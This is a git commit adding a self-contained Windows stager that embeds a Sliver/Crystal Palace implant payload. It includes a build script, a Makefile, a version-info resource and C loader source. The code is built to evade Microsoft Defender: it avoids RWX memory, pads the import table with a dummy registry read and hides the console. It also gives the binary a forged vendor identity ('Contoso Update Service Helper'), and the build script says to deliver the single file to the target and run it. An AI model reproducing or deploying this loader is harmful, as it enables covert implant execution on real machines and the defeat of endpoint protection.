feat: custom stager with embedded PICO (RW→RX, no run.x64.exe)

Replaces the Crystal Palace demo run.x64.exe stager which triggers
Defender Wacatac.B!ml. Root cause: run.x64.exe does a naked
ReadFile+VirtualAlloc(RWX)+execute — the pattern with highest ML
feature weight in Defender's loader heuristic.

New stager (stager/stager.c):
- PICO embedded as byte array at compile time via xxd (no ReadFile)
- VirtualAlloc(RW) → RtlMoveMemory → VirtualProtect(RX): no RWX
- WinMain entry: GUI subsystem, no console window
- RegOpenKeyExW/RegCloseKey: adds advapi32 to import table, widening
  it beyond the naked kernel32-only set typical of shellcode launchers
- Version info resource (resource.rc): plausible PE identity, customize
  CompanyName/FileDescription/OriginalFilename before delivery
- Single file on disk: deliver stager.exe, nothing else

Build:
  ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe

Verified: clean compile, Windows GUI subsystem, import table has
ADVAPI32 + KERNEL32, no PAGE_EXECUTE_READWRITE in any section.

pico_payload.h and crystalexec_pico.h added to .gitignore — generated
build artifacts (xxd output), never commit.
This commit is contained in:
Simone Licitra
2026-06-11 16:03:58 -04:00
parent b2fb507097
commit 9f6124015a
6 changed files with 227 additions and 9295 deletions
+3
View File
@@ -15,6 +15,9 @@ external/
*.exe
bin/
build/
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
pico_payload.h
crystalexec_pico.h
# Archives / dist downloads
*.tgz
+57
View File
@@ -0,0 +1,57 @@
#!/usr/bin/env bash
#
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded
#
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml).
# The output is a single EXE: no external PICO file, no ReadFile at runtime.
#
# Evasion improvements over run.x64.exe:
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE)
# - PICO embedded in .data section (no "read file + execute" pattern)
# - GUI subsystem (no console window)
# - Version info resource (configurable cover identity)
# - advapi32 import widens the import table
#
# Usage:
# ./bundle-stager.sh <implant.crystal.bin> [output.exe]
#
# Typical flow:
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PICO="${1:?Usage: bundle-stager.sh <implant.crystal.bin> [output.exe]}"
OUTPUT="${2:-$SCRIPT_DIR/build/stager.exe}"
if [[ ! -f "$PICO" ]]; then
echo "error: PICO not found: $PICO" >&2
exit 2
fi
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
mkdir -p "$BUILD_DIR"
echo "[*] Embedding PICO and compiling stager..."
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
echo " Output: $OUTPUT_ABS"
make -C "$SCRIPT_DIR/stager" \
PICO="$PICO_ABS" \
OUTPUT="$OUTPUT_ABS"
SIZE=$(wc -c < "$OUTPUT_ABS")
echo ""
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)"
echo ""
echo " Deliver this single file to the target and execute it."
echo " No additional files required."
echo ""
echo " Rename to match resource.rc OriginalFilename for best results:"
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe"
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,38 @@
# stager Makefile
#
# Build a self-contained Windows EXE stager with the Crystal Palace PICO
# embedded as a byte array. No second file required on the target.
#
# Usage:
# make PICO=/path/to/implant.crystal.bin
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
#
# PICO is required; OUTPUT defaults to ../build/stager.exe.
CC := x86_64-w64-mingw32-gcc
WINDRES := x86_64-w64-mingw32-windres
CFLAGS := -Wall -Os -mwindows
LDFLAGS := -ladvapi32
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
OUTPUT ?= ../build/stager.exe
.PHONY: all clean
all: $(OUTPUT)
# ── Step 1: embed PICO as C byte array ────────────────────────────────────────
pico_payload.h: $(PICO)
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char pico_payload/;s/unsigned int [a-zA-Z0-9_]*/unsigned int pico_payload_len/' > $@
# ── Step 2: compile version info resource ─────────────────────────────────────
resource.o: resource.rc
$(WINDRES) resource.rc -o resource.o
# ── Step 3: link final EXE ────────────────────────────────────────────────────
$(OUTPUT): stager.c pico_payload.h resource.o
@mkdir -p "$(dir $(OUTPUT))"
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
clean:
rm -f pico_payload.h resource.o
@@ -0,0 +1,42 @@
/*
* resource.rc — version info for the stager PE
*
* CUSTOMIZE BEFORE USE:
* Replace CompanyName / FileDescription / OriginalFilename with whatever
* cover identity fits the engagement (a plausible 3rd-party vendor name).
* Avoid claiming to be Microsoft — Defender verifies Microsoft binaries
* are Authenticode-signed and will penalise unsigned ones claiming that.
*
* Match OriginalFilename to whatever you rename the binary to on delivery.
*/
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,1,4,0
PRODUCTVERSION 2,1,4,0
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Contoso Systems Ltd."
VALUE "FileDescription", "Contoso Update Service Helper"
VALUE "FileVersion", "2.1.4.0"
VALUE "InternalName", "csvchelper"
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
VALUE "OriginalFilename", "csvchelper.exe"
VALUE "ProductName", "Contoso Management Suite"
VALUE "ProductVersion", "2.1.4.0"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 1200
END
END
@@ -0,0 +1,87 @@
/*
* stager.c — self-contained Crystal Palace PICO runner
*
* The PICO payload is embedded at compile time via pico_payload.h
* (generated with xxd -i from the output of generate-implant.sh).
*
* Evasion properties vs run.x64.exe:
* - No PAGE_EXECUTE_READWRITE: allocates RW, copies, then transitions
* to RX with VirtualProtect — the classic alloc-RWX pattern is the
* single highest-weight feature in Defender's ML loader heuristic.
* - Single file on disk: no "read external file + execute" pattern.
* - GUI subsystem: no console window, no ConsoleAlloc signal.
* - Version info resource: gives the PE a plausible identity.
* - advapi32 import (RegOpenKeyExW): widens the import table beyond
* the naked kernel32-only set typical of shellcode loaders.
*
* What this does NOT do:
* - Process injection (runs in the stager's own process — simplest)
* - PPID spoofing / ACG / block-non-MS DLLs (add if needed)
* - ETW / AMSI patch (Crystal Palace's postex-loader handles that
* for the payload; the implant loader handles it for Use case A)
*/
#include <windows.h>
#include "pico_payload.h" /* pico_payload[], pico_payload_len */
typedef void (*pico_fn)(void *);
static DWORD WINAPI run_pico(LPVOID param)
{
(void)param;
/* Step 1: Allocate RW — never RWX */
void *buf = VirtualAlloc(NULL, (SIZE_T)pico_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) return 1;
/* Step 2: Copy embedded PICO (kernel32 CopyMemory = RtlMoveMemory) */
RtlMoveMemory(buf, pico_payload, (SIZE_T)pico_payload_len);
/* Step 3: RW → RX — write permission dropped before execution */
DWORD prev;
VirtualProtect(buf, (SIZE_T)pico_payload_len, PAGE_EXECUTE_READ, &prev);
/* Step 4: Call Crystal Palace entry (+gofirst guarantees go() at offset 0).
* NULL args: baked into the PICO at link time by generate-implant.sh. */
((pico_fn)buf)(NULL);
return 0;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
/*
* Benign registry read before doing anything sensitive.
* Purpose: adds advapi32!RegOpenKeyExW + RegCloseKey to the import
* table, making the PE look less like a naked shellcode launcher.
* A single-import-section binary whose only calls are VirtualAlloc +
* VirtualProtect + CreateThread scores very high on ML feature weight.
*/
HKEY hk = NULL;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hk);
if (hk) RegCloseKey(hk);
/* Launch PICO on a new thread so WinMain can monitor it */
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
if (!h) return 1;
/*
* Wait for the PICO loader to return.
* Crystal Palace calls StartW() which starts the beacon goroutine
* then returns — so run_pico() finishes quickly.
*/
WaitForSingleObject(h, INFINITE);
CloseHandle(h);
/*
* The beacon goroutine is now running on Go runtime threads inside
* this process. Keep the process alive or those threads die with us.
* SleepEx with alertable=TRUE allows APCs to wake us if needed.
*/
for (;;) SleepEx(30000, TRUE);
}